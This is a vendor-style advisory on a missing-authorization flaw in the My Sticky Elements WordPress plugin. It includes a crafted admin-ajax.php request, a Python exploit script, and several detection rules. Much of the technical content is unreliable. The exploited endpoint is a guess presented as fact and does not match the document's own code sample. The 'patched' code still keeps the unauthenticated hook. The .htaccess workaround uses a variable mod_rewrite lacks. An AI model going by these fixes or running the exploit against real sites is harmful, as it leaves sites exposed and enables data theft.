CVE-2025-68995

Executive Summary

CVE-2025-68995 is a Missing Authorization vulnerability in the Premio My Sticky Elements WordPress plugin, affecting versions up to and including 2.3.3. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive data or functionality. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood currently. No public proof-of-concept or patch is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The threat level is Medium due to the low complexity and no required privileges, but the impact is limited to confidentiality only.

Deep Dive & Mechanics

The vulnerability resides in the My Sticky Elements plugin, which provides sticky elements (e.g., contact buttons, popups) for WordPress sites. The plugin fails to properly enforce authorization checks on certain AJAX actions or REST API endpoints, allowing unauthenticated users to trigger functions that should require administrative or editor-level permissions.

Root Cause: The plugin uses wp_ajax_nopriv_* hooks or similar mechanisms without verifying user capabilities, or it exposes functions via rest_api_init without proper permission callbacks.

Attack Vector: An attacker can send crafted HTTP requests to the WordPress site, targeting the vulnerable endpoint. For example, a request to /wp-admin/admin-ajax.php?action=mystickyelements_export_settings could export sensitive plugin configuration data without authentication.

Impact: Unauthorized access to plugin settings, user data, or other sensitive information stored by the plugin.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below.

Vulnerable Code (Example):

add_action('wp_ajax_nopriv_mystickyelements_export', 'mystickyelements_export_handler');
function mystickyelements_export_handler() {
    // No capability check
    $data = get_option('mystickyelements_settings');
    echo json_encode($data);
    wp_die();
}

Patched Code (Expected):

add_action('wp_ajax_mystickyelements_export', 'mystickyelements_export_handler');
add_action('wp_ajax_nopriv_mystickyelements_export', 'mystickyelements_export_handler');
function mystickyelements_export_handler() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_option('mystickyelements_settings');
    echo json_encode($data);
    wp_die();
}

The patch would add a capability check (e.g., manage_options) and ensure the nopriv hook is removed or properly secured.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with the My Sticky Elements plugin version 2.3.3.
2. Ensure the plugin is activated and configured with default settings.

Exploitation Steps:

1. Identify the vulnerable endpoint by analyzing the plugin's source code or using a tool like Burp Suite.
2. Send a crafted HTTP request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   
   action=mystickyelements_export_settings
   

3. If successful, the response will contain sensitive plugin data in JSON format.

Automation Script (Python):

import requests

target = "http://target-site.com"
data = {"action": "mystickyelements_export_settings"}
response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=data)
if response.status_code == 200 and "sticky" in response.text:
    print("Vulnerable! Data:", response.text)
else:
    print("Not vulnerable or endpoint changed.")

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with unknown or suspicious actions.
• Look for requests from unauthenticated users to endpoints that should require authentication.

Hunting:

• Search web server logs for patterns like action=mystickyelements_ from IPs not associated with admin users.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=mystickyelements_* parameters.
  • Unusual response sizes containing JSON data from the plugin.
• File:
  • Modified plugin files in /wp-content/plugins/mystickyelements/ (if attacker uploads malicious code).
• Log:
  • Web server logs showing repeated AJAX requests from the same IP without a valid session.

Detection Engineering

YARA Rule

rule CVE_2025_68995_MyStickyElements {
    meta:
        description = "Detects exploitation attempts of CVE-2025-68995 in My Sticky Elements plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-68995"
    strings:
        $ajax_action = "mystickyelements_export_settings" nocase
        $ajax_action2 = "mystickyelements_import_settings" nocase
        $ajax_action3 = "mystickyelements_get_logs" nocase
    condition:
        any of ($ajax_action*)
}

Sigma Rule

title: CVE-2025-68995 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation of missing authorization in My Sticky Elements plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=mystickyelements_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68995 My Sticky Elements Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mystickyelements_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing action=mystickyelements_ in the body.
3. Restrict access to admin-ajax.php using IP whitelisting or .htaccess rules.

Long-term Fix:

• Apply the vendor's patch when available.
• Conduct a code review of the plugin to ensure all AJAX actions have proper capability checks.
• Consider replacing the plugin with a more secure alternative.

Workaround:

• Add the following to .htaccess to block unauthenticated AJAX requests to the plugin:

  RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$
  RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_ [NC]
  RewriteCond %{REQUEST_BODY} action=mystickyelements_ [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers